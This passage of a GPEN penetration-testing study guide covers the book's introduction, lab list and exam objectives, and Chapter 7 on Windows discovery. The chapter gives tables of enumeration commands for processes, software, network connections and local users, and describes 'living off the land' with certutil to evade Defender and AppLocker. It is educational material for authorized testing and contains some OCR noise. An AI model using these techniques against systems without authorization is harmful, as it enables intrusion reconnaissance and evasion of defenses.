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Penetration Testing Execution Standard (PTES); and the CVE,
CWE, CAPEC, and ATT&CK framework provided by MITRE.
Thank you to all the other silent contributors who have shared
their knowledge and expertise on certain subjects to help
inspire the development of certain labs and exercises used in
this book. For all of our friends who helped us along the way,
thank you. You know who you are!



INTRODUCTION

Why should you pursue the GIAC GPEN certification? GIAC
provides practical testing that validates an individual’s
knowledge and hands-on skills. The GPEN exam in particular is
intended for security practitioners who are responsible for
assessing networks and systems to identify and remediate
vulnerabilities, including penetration testers, ethical hackers,
red and blue team members, defenders, auditors, and forensic
examiners. The GPEN exam tests the security practitioner’s
understanding of offensive cyberattacks. To successfully pass
the exam, candidates should ensure they have, at a minimum,
the intermediary skills and on-the-job knowledge of how to
conduct and execute penetration testing activities, including
understanding legal and compliance requirements, performing
network and web vulnerability scanning, analyzing vulnerability
data, and being able to effectively report and communicate the
results of a penetration test.

How many years of experience equate to “intermediary skills
and knowledge”? That answer can vary, depending on your
work and educational background. We have been conducting
penetration testing for over a decade and have found that
individuals who have a system administrator or developer
background tend to do better in the penetration testing field
than those who don’t. Knowing how systems, software, and
networks are designed and configured can help you identify
implementation or configuration weaknesses during a pentest.
An attacker is likely to take the path of least resistance when
attacking a network. This could be the use of default or weak
passwords, password reuse, lack of encryption, etc. The



weaknesses can typically be mitigated using industry best
practices, which are all the things system administrators and
developers should be applying to their systems. Therefore, if
you already know how to implement these best practices and
how they apply to specific technology, you should be able to find
the holes and define an exploitation path that an attacker can
leverage to gain access to your customer’s network.

The GPEN exam is web-based and is required to be proctored.
GIAC offers two proctoring options: remote proctoring through
ProctorU and onsite proctoring through PearsonVUE. To take
the exam, you must submit a GIAC application. Once your
application is approved, your GIAC certification attempts will
be activated in your GIAC account. You will have 120 days from
the date of activation to complete your certification attempt.
The GPEN consists of one proctored exam, between 82 and 115
questions, with a three-hour time limit. You must achieve a
minimum score of 75 percent to pass the exam. The exam is
open book, so you are allowed to use your study material
(including this book) to take the test. Most importantly, when
taking the exam, sit down, relax, don’t overthink the questions,
and rely on your normal thought process to help you pass the
exam.

HOW TO USE THIS BOOK

This book covers everything you need to know to pass the GIAC
GPEN exam and then some. The GPEN objectives are broken up
into nine chapters that cover, from start to finish, how to
perform the following;:

« Comprehensive pentest planning, scoping, and recon
« Network and web application scanning

« Password attacks, exploitation, post-exploitation, and
pivoting



« Writing and communicating the pentest report to your
customer

To complete the labs and exercises in the book, we recommend
that you download the latest version of Kali Linux. You can
download the latest version for your specific architecture from
https://www.kali.org/downloads/. To check which version of
Kali Linux you have installed, read the contents of the /etc/os-
release file. Appendix B provides additional details for installing
and configuring Kali Linux, as well as your own virtual lab
environment that mimics the configuration of the lab virtual
machines used in the book. The lab exercises in this book are
laid out based on the lab environment configured in Appendix
B. If your lab environment differs from that, you may have
difficulty completing the labs as designed. Each chapter has
several components designed to effectively communicate the
information you need to understand for the exam:

« At the beginning of each chapter, a bulleted list and
chapter introduction give you an overview of the
information you will learn in the chapter.

« Tips are used throughout the book to provide you with
best practices for using certain tools or to pass along
things we learned during our career that we feel might
benefit you, either during your studies or as a penetration
tester.

« Exam Tips point out specific things you should
concentrate on during your studies, as you may see them
covered on the exam.

+ Notes are short references to expand on a topic, provide
essential information regarding a section in the chapter,
or offer further reading guidance for areas that may go
above and beyond what you need to know for the exam.

« Cautions give you forewarning that the use of a tool,
technique, etc., could be dangerous or require additional


https://www.kali.org/downloads/

forethought before its use. A penetration tester has a fun
job, but a level of due diligence is also required. The
penetration tester emulates the malicious intent of an
attacker to help the customer find holes in their networks,
but a penetration tester doesn’t do things deliberately (or
destructively) without the knowledge and consent of the
customer.

« Some chapters provide sidebars that elaborate on a topic,
technique, or technology regarding a section in the
chapter.

NOTE This should not be the only book that you use for your
exam preparation. Although this book covers all the exam
objectives, other authors may provide additional insight on
topics we may not have covered in detail. Reading books from
other authors can help provide a different perspective, even
when following a similar methodology. Such added perspective
can help give you the advantage you need to be successful when
taking the GPEN exam and when fulfilling the role of a
penetration tester.

END-OF-CHAPTER QUESTIONS

At the end of each chapter, you will find a set of review
questions that test your knowledge of the material that you read
in that particular chapter. Will these questions cover everything
you need to know for the exam? Yes and no. Why “no”?
Following the set of review questions is a section providing the
answer to each question and an explanation as to why it is the



right answer. When taking the GPEN, some of the answers to
the questions could swing either way, or you may find that none
of the answers provided is the best choice for the question. A
test-taking strategy you can use for the GPEN exam (and the
practice questions that come along with this book) is the
process of elimination. The questions are multiple choice, so
you should be able to narrow down your selection to maximize
your potential for getting the correct answer.

OBJECTIVES-TO-CHAPTER MAPPING

The “Objectives Map” that follows this Introduction provides a
cross-reference of the official GIAC GPEN exam objectives to
the relevant coverage in the book. Each exam objective is
provided verbatim and is mapped to the chapter or chapters in
which it is covered.

ONLINE CONTENT

This book includes access to online content such as shell scripts
and code that you can use to follow along with certain chapter
exercises, completing the Capstone Project, and the TotalTester
Online practice exam software that will allow you to generate
complete practice exams or customized quizzes by chapter or by
exam objectives. Unlike the end-of-chapter review questions,
the TotalTester practice exam questions are similar to the types
of questions you will see on the real exam.

LABS IN THE BOOK

The GPEN exam is an evaluation of your technical knowledge as
a pentester. Thus, we developed all the lab exercises in this book
to cover the technical aspects of the GPEN exam and specific
areas that you may be tested on. Each lab defines the specific
requirements for successfully completing the lab, such as those
found in the online content provided with this book, as well as
those references found in Appendix B. The lab setup in



Appendix B, as well as the labs provided in the book, assume
that you have a strong foundation in both Windows and Linux,
including the ability to configure and administer both. It is
recommended that you understand basic Windows and Linux
administration concepts prior to embarking on your GPEN
quest. The following table provides a brief description of the
labs throughout the book and the chapters you can find them in.

Chapter No. Lab No. Lab Name
3 31 Using Wireshark
3 3-2 Scanning with nmap
3 3-3 Vulnerability Scanning with Nessus
3 3-4 Scapy Introductory
3 3-5 Evil Scapy Scripting
3 3-6 BeEF Basics
3 3-7 OWASP ZAP
3 3-8 SQLi
3 39 Blind SQLi and SQLmap
3 3-10 Command Injection
3 3N Stored XSS
4 4-1 Navigating the MSFconsole
4 4-2 Exploiting SMB with Metasploit
4 4-3 Exploiting ProFTPD with Metasploit
4 4-4 Upgrading to a Meterpreter Shell
5 5-1 Scheduled Tasks
5 5-2 Configuring a Callback with Windows Services
5 5-3 Persistence with PowerShell Empire
5 5-4 Linux Privilege Escalation
5 5-5 Windows Information Gathering and Privilege Escalation
5 5-6 Windows Defender Evasion
6 6-1 Extract SAM from the Windows Registry
6 6-2 Hashdump
6 6-3 Dump Credentials from Memory
6 6-4 Responder
7 7-1 Recon with PowerView
7 7-2 Recon with Empire
7 7-3 Information Gathering with SharpHound
7 7-4 Port Forwarding
7 7-5 Pass-the-Hash
7 7-6 Built-in Tools
7 7-7 Lateral Movement, OQwning the Domain
8 81 Exfilling Data with Metasploit
8 82 Exfilling Data with Empire
8 83 Exfilling Data using Linux Cron Jobs
8 8-4 Exfilling Data Using Windows Scheduled Tasks



CAPSTONE PROJECT

Working through the lab exercises throughout this book will
help you understand how different tools function, but nothing
can really prepare you for performing a pentest like actually
performing a pentest. We have designed a capstone project
(Appendix C) that should help you in this regard. Instead of
walking you through each step of each exercise in order to learn
tool functionality, we provide you with a list of objectives
designed to help you learn the overall methodology you’ll use
when conducting a pentest. We will not tell you which tools to
use or how to use them. That will be up to you to figure out. Do
not worry, though. If you get stuck, we provide hints on how to
accomplish the objectives. We also provide a detailed
walkthrough on exactly what to do to complete the objectives
both in the appendix and in the online content.

OBJECTIVES MAP: GPEN EXAM



Official Exam Objective

Advanced Password Attacks
The candidate will be able to use additional methods
to attack password hashes and authenticate.

Attacking Password Hashes

The candidate will be able to obtain and
attack password hashes and other password
representations.

Domain Escalation and Persistence Attacks
The candidate will demonstrate an understanding
of common Windows privilege escalation attacks
and Kerberos attack techniques that are used to
consolidate and persist administrative access to
Active Directory.

Escalation and Exploitation

The candidate will be able to demonstrate the
fundamental concepts of exploitation, data
exfiltration from compromised hosts, and pivoting
to exploit other hosts within a target network.

Exploitation Fundamentals

The candidate will be able to demonstrate the
fundamental concepts associated with the
exploitation phase of a pentest.

Kerberos Attacks

The candidate will demonstrate an understanding
of attacks against Active Directory, including
Kerberos attacks.

Metasploit
The candidate will be able to use and configure the
Metasploit Framework at an intermediate level.

All-in-One Coverage

Credential Access

Credential Access

Discovery and
Lateral Movement

Persistence, Privilege
Escalation and Evasion

Credential Access

Persistence, Privilege
Escalation and Evasion

Discovery and
Lateral Movement

Data Collection and
Exfiltration

Initial Access
Exploitation

Discovery and
Lateral Movement

Credential Access

Exploitation

Chapter No.
6



Official Exam Objective

Moving Files with Exploits
The candidate will be able to use exploits to move
files between remote systems.

Password Attacks

The candidate will understand types of password
attacks, formats, defenses, and the circumstances
under which to use each password attack variation.
The candidate will be able to conduct password
guessing attacks.

Password Formats and Hashes

The candidate will demonstrate an understanding
of common password hashes and formats for
storing password data.

Penetration Test Planning

The candidate will be able to demonstrate

the fundamental concepts associated with

pen testing and utilize a process-criented
approach to penetration testing and reporting.

Penetration Testing with PowerShell and the
Windows Command Line

The candidate will demonstrate an understanding
of the use of advanced Windows command line
skills during a penetration test and demonstrate
an understanding of the use of advanced Windows
PowerShell skills during a penetration test.

Reconnaissance

The candidate will understand the fundamental
concepts of reconnaissance and will understand
how to obtain basic, high-level information

about the target organization and network, often
considered information leakage, including but

not limited to technical and nontechnical public
contacts, IP address ranges, document formats, and
supported systems.

Scanning and Host Discovery

The candidate will be able to use the appropriate
technique to scan a network for potential targets
and to conduct port, operating system, and service
version scans, and analyze the results,

Vulnerability Scanning
The candidate will be able to conduct vulnerability
scans and analyze the results.

Web Application Injection Attacks

The candidate will demonstrate an understanding
of how injection attacks work against web
applications and how to conduct them.

Web Application Reconnaissance

The candidate will demonstrate an understanding
of the use of tools and proxies to discover web
application vulnerabilities.

All-in-One Coverage

Data Collection
and Exfiltration

Credential Access

Credential Access

Planning and Preparation

Reporting and
Communication

Exploitation

Discovery and
Lateral Movement

Reconnaissance

Initial Access

Initial Access

Initial Access

Initial Access

Chapter No.
8

PREPARING FOR THE EXAM AND
CREATING YOUR OWN INDEX

The GPEN exam focuses on your ability to locate information
and apply it properly in a given situation rather than your
ability to memorize and recall information—and the exam is



very good at that. The exam tests specifics. While we’ve done
our best to cover the objectives as outlined by GIAC and
examine the tools that the GPEN exam may cover, there is no
way for us to know the exact tool options or output that you may
be quizzed on. And even if we did, we're bound by ethics and
agreements we’ve signed prior to taking the GPEN exam to not
disclose questions and answers that we saw when taking our
own exams. You’ll sign those same agreements prior to taking
the exam. With that being said, we can offer some suggestions
on how to prepare for your exam:

Do research into how others have prepared for the GPEN.
While this book covers all testing objectives, there is
valuable insight to be gained on how others have prepared
to take the exam, both mentally and technically. They may
have a technique to help you learn how to use a tool or
learn some pitfalls that you might be presented with
during the test.

« We suggest that you become familiar with the tools
outlined in this book and create (or locate online) cheat
sheets that can help you recall how to use the tools. Read
the man and help pages for the commands and be aware
of more commonly used options. We have designed the
labs to cover specific GPEN objectives, but there is no way
for us to do a deep dive on every tool. Experimenting and
learning the tools on your own is encouraged. We have
provided a lab setup in Appendix B that should help you
accomplish that. Run the tools with different options.
Examine the output from the tools. Take notes on
similarities or differences you see.

« Do research into how others have written their indexes.
Some methods are better than others. While each person
will have their own method for indexing data in a way to
make it easy to locate, certain successful index-creation
strategies will work better than others. Your indexing style



will most likely be tailored to help you recall and locate
information. It is unlikely that someone else’s actual index
will help you, but again, others may share tips,
techniques, and gotchas that can help you prepare your
personalized index. Here are some basic tips you can use
to get your index started off on the right foot:

» The majority of index creation guides you will find
through your searches will most likely be indexing
SANS course material. As you are indexing this book
instead of the course material, your indexing
techniques will differ. We suggest beginning with the
mapping of the testing objectives to the chapters that
cover each objective as an outline and expand from
there. You'll notice that some objectives are covered in
more than one place in the book. You’'ll need to be able
to cross-reference certain objectives with others. For
example, Metasploit is covered in more than one place
in the book, and it has sub-topics that may appear as
major topics in your index. You may wish to note this
in your alphabetized index as such (these are just
examples):

Metasploit, extapi, Ch 8. Page n

Metasploit, mimikatz: Ch x, Page n.

Metasploit, overview: Ch 4. Pages n through n+1

Metasploit pass-the-hash, Ch x. Page n.

Metasploit, stdapi: Ch 4. Page n

Mimikatz, overview, Ch x. Page n.

Pass-the-hash, also known as PTH,

Pass-the-hash overview, Ch. X. Pages n through n+1
» Etc.

 You can use tabs to be able to quickly find sections in the
book, but don’t overdo it. Too many tabs will make



quickly flipping through the book difficult.

« You can add notes that you find in your studies to your
index as well.

« Make sure your index works for you. You're going to be
the one using it during the exam. If you're unable to use
your index to quickly locate information, there’s really no
point in having an index.

« Use your index with your practice exams. This will help
validate both your indexing technique and your ability to
use the index to retrieve the correct answer.






CHAPTER 7

DISCOVERY AND LATERAL
MOVEMENT

In this chapter, you will learn how to

« Identify operating system tools that can be used by
attackers for information gathering

« Use open source tools and techniques to gain target
situational awareness

« Execute techniques for moving laterally within an
organization

During a pentesting engagement, once you have fortified your
beachhead on a target system and pilfered user credentials,
your next goal is to pivot to other systems within the network.
Pivoting refers to using your beachhead as a gateway to other
areas of the target organization’s network. Just as computer
networks have default gateways to other networks, you can
think of your initial access point as the default gateway to
accomplish your objective. Rarely is gaining initial access the
primary objective for a pentesting engagement. Thus, you need
to return to the recon phase to gather information that you can
use to further your ultimate goal as defined during the pre-
engagement phase.

This chapter examines tools and techniques for performing
internal reconnaissance and explains how to use the
information gathered in Chapter 6 totargetand



exploit interconnected systems. Discovery and lateral
movement pose something of a chicken and egg problem where
often you need to pivot before gathering information, or vice
versa. However, in this chapter we’ll continue to follow the
MITRE ATT&CK framework and present discovery before
lateral movement. Again, we’ll stress the importance of having a
solid understanding of both Windows- and Linux-based CLI
environments. Many of the commands used in this chapter will
look familiar to you because they were introduced in previous
chapters. However, in this chapter you will use the information
you gather from their output differently.

This chapter focuses on the following two ATT&CK tactics:

« TA0007 Discovery

« TA0008 Lateral Movement

DISCOVERY

Discovery refers simply to the gathering of information. The
importance and relevance of the information gathered depends
on the goals and objectives of the pentesting engagement. As
you gain experience, your ability to quickly determine where on
the scale of usefulness the information you've gathered falls will
improve. Depending on the maturity of the defender and the
goals and objectives of the engagement, you may use “loud”
automated tools to gather information if you're sure you won’t
tip off the defenders. Other times, you may manually collect
targeted information only relevant to a single objective if your
goal is to remain as stealthy as possible. This section covers
both manual and automated ways of discovering information
from your targets. Gathering and exfiltration of this data is
covered in more depth in Chapter 8.

Discovery is a cyclic process that you’ll most likely need to
repeat on each target you gain access to. You may also combine



this cyclic process with other steps, including exploitation or
privilege escalation. During the discovery phase, the attacker or
pentester attempts to determine the following:

Who they are

Where they are, both locally on the filesystem and logically
in the target network

What’s going on around them

What they have access to

Where they're going

Answering these questions will result in the penstester gaining
situational awareness, which is the first step a pentester takes
after gaining access to a new system. You may gain access to
many targets during a given engagement, so it is important to
develop and stick to a documented evidence gathering/storage
plan, preferably one that can be shared by a team. Many of the
commercial and open source tools mentioned in this book allow
for sharing of this type of information, or you may decide to use
an external database to store information. Whichever method
you decide to use to store data gathered from targets, be sure to
protect it appropriately. This could mean storing it on an
encrypted filesystem that’s accessible only during testing, or
storing it in a properly configured and protected database. Also,
ensure that any targets that you pivot to remain in scope
according to your rules of engagement with the client.




NOTE The ATT&CK Discovery phase may be mentioned as part of the Post-
Exploitation phase by other frameworks.

WINDOWS SITUATIONAL AWARENESS

Windows Active Directory (AD) domains, whether on premises
or in the cloud, represent a large attack surface. while red
teams may almost exclusively target AD
environments, it is also important for pentesters to have a
solid understanding of AD environments, their strengths and
weaknesses, and how to effectively target vulnerabilities found
within standard AD deployments. Remember that not all
vulnerabilities lie within software bugs. Some are inherent
configuration or implementation weaknesses that you can use
to your advantage. While Active Directory has become an
overarching collection of identity management services, its
roots are as a central repository of organizational information
and the tools required to manage that information. Given the
high value of the information stored within AD, it’s no wonder
that it is often targeted or classified as the main objective of a
pentesting engagement.

If an attacker rules the Active Directory domain, the attacker
rules all things—hence the importance placed on protecting
access to valuable groups like domain and enterprise
administrators. In order to attack those highly prized
groups, the attacker first needs to gain local situational
awareness related to the initial access point. The information
stored on a compromised system or accessible from
said system can give the attacker a very detailed picture of
not only the AD environment but also the inner workings of the
internal network. In the following sections we’ll discuss three
types of information gathering techniques: local, remote, and
automated. Local information gathering is defined as gathering
information about the system you currently have access to.
Remote information gathering refers to gathering information



from systems via remote administration tools, such as
PowerShell. As with a number of other pentesting tasks, some of
this information gathering can be automated. We’'ll discuss
different tools pentesters can use to accomplish this.

APPLOCKER, APPLICATION SIGNING,
AND “LIVING OFF THE LAND”

Numerous pentesting tools discussed throughout this book
will be caught by Windows Defender unless modifications
are made to Windows or to the scripts themselves. Also,
numerous application whitelisting tools, including
Microsoft’s AppLocker, are available to enhance the
protection provided to Windows devices. AppLocker can
create rules based on numerous attributes, including users
or groups allowed to execute certain programs, or even
which signed applications are allowed to run. Signed
applications are simply applications that have been
cryptographically verified by a certificate authority (CA).
The fact that an application is signed does not mean that the
application isn’t malicious, only that the code being
executed has not been altered between the time it was
downloaded and the time it was installed. It is up to the
installing organization to verify that the signer of the
software is trustworthy.

As an example, consider an organization that runs only
Microsoft-signed applications on its systems. To describe
how to conduct pentesting against such an organization,
researchers have coined the phrase living off the land,
which means using trusted applications and binaries within
a Windows environment to perform actions that they might
not have been intended for, with the intention of bypassing
defensive tools like Windows Defender and AppLocker. For
example, the Windows certutil.exe program is designed to
configure certificates and other CA-related tasks. However,




it can also be used to download files. Since this program is
signed by Microsoft, it can be used without issue, whereas
Windows Defender will flag Invoke-Expression or wget, or
even not allow them to execute due to Constrained
Language mode (which, as described in Chapter 4, enables
administrators to limit access to sensitive Windows APIs via
PowerShell v5.1 and later).

Throughout your studies and pentesting, keep an eye out for
tools that are inherently trusted by the underlying
environment you’re working in and might be able to serve
other purposes. The better you are at living off the land, the
less likely you are to get caught. For more information on
living off the land, visit https://github.com/LOLBAS-
Project/LOLBAS.

LOCAL INFORMATION GATHERING

Even as an unprivileged user, the amount and type of
information you can gather from your local system is very
useful. The following are some types of local information that
can be gathered:

Running processes and installed programs

Network information

User and group information

Systems configuration information

As we discuss techniques for discovery, we will examine
different ways to gather this information so that you will not be
reliant on a single tool that may or may not be available on your
target. You can use standard CLI-based commands, PowerShell,
meterpreter, and even Empire to gather information about the
local system.


https://github.com/LOLBAS-Project/LOLBAS

TIP Even if there is not a lab associated with certain commands, we encourage you
to experiment with them to get a feel for the types of information that they output
and in what format the data is presented.

Before we discuss gathering the preceding types of
information from Windows systems, we will briefly cover
Windows environment variables. Understaing how Windows
interprets and uses environment variables can help testers
gather information in a productive way. As these variables are
often used as a way to represent environmental information,
being able to interpret them will help you gain better situational
awareness.

Windows Environment Variables Environment variables
in Windows are akin to aliases, or shortcuts, to referencing
specific items system-wide. Environment variables are
referenced by the system and can be used in scripts and batch
jobs as well. When a process starts, the environment variables
are inherited from the parent process. However, these can be
changed programmatically or on the fly as necessary. To list all
current environment variables, in a CMD prompt, type set.
Figure 7-1 shows a subset of those variables.



ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files

PROMPT=%P$G

PSModulePath=C:\Program Files\WindowsPowerShell\Modules,
PUBLIC=C:\Users\Public
SESSIONNAME=Console

SystemDrive=C:

SystemRoot=C:\Windows
TEMP=C:\Users\NetAdmin\AppData\local\Temp
TMP=C:‘\WUsers\NetAdmin\AppData\Local\Temp
USERDNSDOMAIN=LAB. LOCAL

USERDOMAIN=LAB

Figure 7-1 Environment variables

To call a specific variable, enclose it with percent symbols (%).
For example, to print the contents of the APPDATA variable,
type echo %AppData%. You can use the set command to
modify a current variable, or create your own. For example, to
create a variable named Hacker, set it to TRUE, and print its
contents, you could use the following commands:

C:\> set Hacker=TRUE

C:\> echo %Hacker%

Because this variable is not inherited from the parent process, it
would be forgotten once you closed the current CMD prompt
and would not be re-created if you were to open a new CMD
prompt.

Table 7-1 lists and describes several environment variables that
you’ll want to pay attention to as you procced through this
chapter.



Environment Variable Description

%PATH% A list of directories that the operating system searches through
when asked to execute a program

%SYSTEMDRIVE% The partition that contains the Windows installation, usually C:

%APPDATA% C:\Users\<username>\Appdata\Roaming stores user-specific
application information (e.g., Firefox and Chrome profiles)

%PROGRAMFILES% The directory where applications are installed by default, usually
C:\Program Files

%PROGRAMFILES(X86)% The directory where 32-bit applications requiring 64-bit
emulation are installed by default, usually C:\Program Files (x86)

%USERPROFILE% The directory where user profile information is stored, usually
Ci\Users\<username>

%WINDIR% The directory where Windows is installed, usually C:\Windows

Table 7-1 Important Environment Variables

TIP PowerShell does not require the “%” tags when specifying Get-ChildItem, thus
the PowerShell equivalent to the set command to list all environment variables is
Get-ChildItem Env.

Running Processes and Installed Programs Gathering a
list of running processes and installed programs can help
attackers (and pentesters) determine if there are any weak or
exploitable services or any programs that might remain
unpatched. It may also provide clues as to whether any third-
party security services or antivirus products are running.
Having this information can help attackers when creating
exploits or payloads for persistence.

You can use CMD-based commands or PowerShell to gather
information on installed software and running processes.
Simple commands like tasklist and systeminfo gather
basic information. The amount and type of information you can
gather depend on which user you're running the command as.
For example, if you are running as a low-privileged user, you



may not be able to see the usernames associated with all
processes, as you could if you were running as an administrator.
You can also use wmic and PowerShell to gather more detailed
information. There is no simple way to list installed software
from a CMD prompt without using wmic, though you can get a
basic idea of what might be installed by listing the
%ProgramFiles% and %Programri1es(x86)% directories.
Table 7-2 lists basic tasklist and systeminfo commands
and what they accomplish.

Command Description

C:\> tasklist Lists all running processes, their process
IDs, and the amount of memory each
process is using

C:\> tasklist /m Lists all running processes and the DLLs
each process has loaded

C:\> tasklist /fi "username ne bob" Listsall running processes notrunning
under the user bob

C:\> systeminfo Prints the hostname, the OS, version, and
build numbers; system type; installed
memory; network cards; installed patches;
and domain (if applicable)

Table 7-2 Commands to View Running Processes and Basic
System Info

While PowerShell and wmic may not be accessible by default,
they are better suited to producing output that can be parsed
with automated tools. This may help if you have output from a
large number of systems that you need to parse or search
through. wmic and PowerShell are also more likely to be able to
be used on remote systems, given that your target user has the
proper access. The PowerShell cmdlet associated with running
processes is aptly named Get-Process, while the wmic
subcommand is process. You can even call Windows
Management Instrumentation (WMI) classes from within
PowerShell by using the Get-WMIObject cmdlet. Table 7-3
lists examples of the Get-Process cmdlet and wmi c process
command and the output they produce. The command prompts



that begin with PS represent PowerShell prompts and

commands.

Command

C:\> wmic process list full

C:\> wmic /output:processes.csv
process get processid,commandline
/format :csv

PS C:\> Get-Process

PS C:\» Get-Process svchost

PS8 C:\> Get-Procesgs -ID 832

PS C:\> Get-WMIObject win32 process

PS C:\> Get-WMIObject win32_process |
select ProcessID,Name,Path |
Export-CSV processes.csv

Description

Lists all available information about
every running process

Lists the process ID and the full path to
the executable and saves it in CSV format
to a file called processes.csv

Lists all running processes, their
executables, process ID, and amount of
memory being used

Gets all processes named svchost

Gets process information for the process
that has ID 832

Calls WMI class from PowerShell to list
processes

Calls WM class to list processes and
export the process ID, name, and process
path in CSV format to processes.csv

Table 7-3 Commands to List Running Processes

TIP You can print all Win32 classes in PowerShell with the following command:

Get-CimClass -Namespace root/CIMv2 | ?{$%_.CimClassName -like
'Win32*'} | Select-Object CimClassName

wmic and PowerShell are also more suited to producing legible

and usable output as far as installed programs are concerned.

The wmic subcommand associated with installed software is

product. There is no default PowerShell cmdlet that can gather

installed software. However, you can query Windows registry

objects from within PowerShell, or again use the Get -

WMIObject cmdlet. Table 7-4 lists different ways of gathering

information related to installed software products. The



command prompts that begin with PS represent PowerShell
prompts and commands.

Command Description
C:\> dir "$programfiless" Lists contents of data stored in the
&& dir "$programfiles (x86)%" default software installation locations

PS C:\> Get-WMIObject Win32 Product Lists all installed software, including name,
vendor, version, and brief description

C:\> wmic product get Prints all installed software, including
name, vendor, version /format: name, vendor, and version, to a file

csv > software.txt named software.txt

PS C:\> Get-ItemProperty Saves all installed software, including
HKLM: \Software\Wow6432Node\Microsoft name, vendor, and version info, to a CSV
\Windows\CurrentVersion\Uninstall\* | file named software.csv

Select-Object Publigher,
DisplayName, DisplayVerison |
Export-CSV software.csv

Table 7-4 Commands to Get Installed Software Information

TIP Tabbed completion works within PowerShell for registry items and commands.

Network Information Gathering information about the local
network your target is on, as well as other systems your target
may be “connected” to, can help you to gain situational
awareness (that is, your current location in the target network
and what is going on around you), determine your proximity to
any high-priority targets within reach, and identify which
devices you may be able to pivot to. As with gathering
information about running processes and installed programs,
there are multiple ways of gathering network information.
Additionally, the type of information that you gather will tell
you different things, such as active connections to other systems
(whether they’re on the local network segment or not), sensitive
systems that may be providing services (e.g., DNS or login



services) to your target, listening services, and basic routing and
subnet information.

Again, you can use CMD-based commands or PowerShell
cmdlets to gather network information. This section focuses on
two PowerShell cmdlets:

+ Get-NetAdapter Lists all information associated with
the low-level attributes of any physical interfaces,
including physical address, driver, adapter name, and link
speed.

+ Get-NetIPAddress Lists IP addresses associated with
the system, including pseudo interfaces like the loopback
interface. The associated CMD command to gather similar
information is ipconfig, or ipconfig /all tobe
specific. The former lists basic information such as IPv4
(and IPv6 if configured) addresses, netmask, and default
gateway. The latter lists all that information as well as
physical address, configuration-specific items such as
whether the interface uses DHCP, and DNS information.
Whether the target is configured to use DHCP and/or
DNS may be significant, as those services may be provided
by Active Directory domain controllers in a Windows
environment.

Another important piece of network information is what other
systems your target is communicating with over the network.
The CMD-based way to gather this data is with the netstat
command. The PowerShell equivalent cmdlet is Get -
NetTCPConnection. Your privileges on the target system
determine how much information you are able to collect. For
example, if you're trying to gather information on listening
ports, you may wish to print out the process that is providing a
service. The only way to view the process ID associated with a
listening port is to have administrative privileges. Being able to
view active network connections can also help attackers



prioritize next steps during an engagement, and these objectives
may change based on whether the attacker has gained access to
a client system or a server. The data that you gather from using
these commands can help you to start to create a picture of your
target’s internal network. Table 7-5 lists basic commands and
their results that can be used to that end. The command
prompts that begin with PS represent PowerShell prompts and

commands.

Command Description

C:\> ipconfig /all Prints all network interface and pseudo-
interface information, including IP address,
netmask, gateway, DHCP, and DNS
information

PS C:\> Get-NetAdapter | Select * Prints low-level information associated
with physical network interfaces

PS C:\> Get-NetIPAddress| Select Prints IP addresses and their associated

IPAddress, InterfaceAlias interfaces for all configured IPs

C:\> netstat -ano Lists all active TCP and UDP connections,
including listening services

C:\> netstat -anob | Lists the process ID and executable

findstr LISTEN associated with listening services; requires
administrator privileges

C:\> netstat -rn Prints the current routing table, including

Ba\N\> EEuiES [EraalmE default gateway, which can be useful
in determining networks or systems
connected via VPN

C:\> arp -a Prints current ARP table, which shows
local systems your target is aware of

PS C:\>Get-NetTCPConnection Prints all network connections

PS C:\> Get-NetTCPConnection Prints all listening ports

-State Listen

PS C:\> Get-NetRoute Prints current routing table

PS C:\> Get-NetNeighbor Prints current ARP table

Table 7-5 Commands to Conduct Local Network Discovery

Local User and Group Information Being able to
determine local user and group information can help in pivoting
to different users or escalating privileges locally. Users may also
store files in their user profiles, which may be cached locally to
speed up login times. The types of information stored by users
can range from personal and very private information to
usernames and passwords for other systems, or even client data.
In the case of systems administrators, the username and



password data, if you can find it, will likely be very useful for
further pentesting.

Local user and group information is among the easiest data to
obtain, and arguably some of the most useful data in terms of
lateral movement. As briefly discussed in Chapter 5, when
setting up persistence, two CMD-based commands are useful:
net user and net localgroup;three useful PowerShell
cmdlets are Get-LocalUser, Get-LocalGroup, and Get-
LocalGroupMember. You can use these commands or cmdlets
together to gather all user- and group-related content on your
local target. They can also help you begin to understand user
configurations in Active Directory domains, because domain
users or groups often are added to local groups.

Describing which particular privileges each local group
possesses is out of scope for this book, but it’s important to
remember that a Windows target has many default local groups,
each with its own separate privileges, and to confuse matters,
groups can include other groups. The obvious target local group
is Administrators. However, parsing out membership in other
groups may be worthwhile as well, depending on the size of
your target organization and your testing objectives. Table 7-6
lists and describes commands that will help you gather local
user and group information. The command prompts that begin
with PS represent PowerShell prompts and commands.
Gathering specific user details will also help you determine next
steps for targeting specific users. Some of the more important
user details are located in the following fields:

« Account Active Tells you if the current user account is
active. You likely will not target accounts that are inactive.

« Account Expires Tells you when a user account is set to
expire. Organizations may enable account expiration for
contractors and other outside vendors.



« Password Last Set Tells you when the user last set their
password. This could help you gather details about the
organization’s password policy.

« Password Expires Helps you to determine how robust
the target organization’s password policy is. Additionally,
service accounts most likely will not have password
expiration set. These are good accounts to target for user
pivoting.

- User Profile Identifies the target servers where user
profile data is stored.

« Last Logon Helps you determine how active a user is.

Command Description
C:\> net user Lists all local users
C:\> net user <username:> Prints information related to the

<username> account, including password
last set date, last logged-in date, whether
the account is active, and so on

C:\> net localgroup Lists all local groups

C:\> net localgroup <"group name"s> Lists all members of <group name>,
including domain users and groups

PS8 C:\> Get-LocalUser Lists all local users, account status
(enabled/disabled), and a description

BS C:\> Get-LocalUser | Select Lists the local user, whether the account is

Name, Enabled, enabled, when the password expires, and

PasswordExpires, LastLogon when the user last logged on

PS C:\> Get-LocalGroup Lists all local groups and a description

PS C:\> Get-LocalGroupMemeber -Name Getsall members of local group

<"groupname" > <groupname> and identifies whether
the user is sourced locally or from
Active Directory

Table 7-6 Commands to Obtain Local User and Group
Information

TIP Local user and group information is categorized under the MITRE ATT&CK
framework as the Account Discovery (T1087) technique, which is part of the



Discovery tactic.

Systems Configuration Information Systems
configuration information that is not included in the previously
described categories includes information related to the OS
version and release, startup programs or automatic login
information, and log files for running services, as well as
information that may have been used to automatically configure
the system.

Finding systems configuration information locally can help you
in pivoting from one system to another. Configurations tend to
be standardized across today’s homogenous operating
environments. Whereas systems configuration differences can
help you gain a foothold in a target organization, systems
configuration standardizations can help you move laterally
within that same target organization.

One tool that Windows systems administrators can use to help
prepare a standardized image is Sysprep. When Sysprep is run,
it generalizes an image, meaning that it removes all computer-
specific settings related to the current installation and prepares
a reference image that can be used across an organization. Once
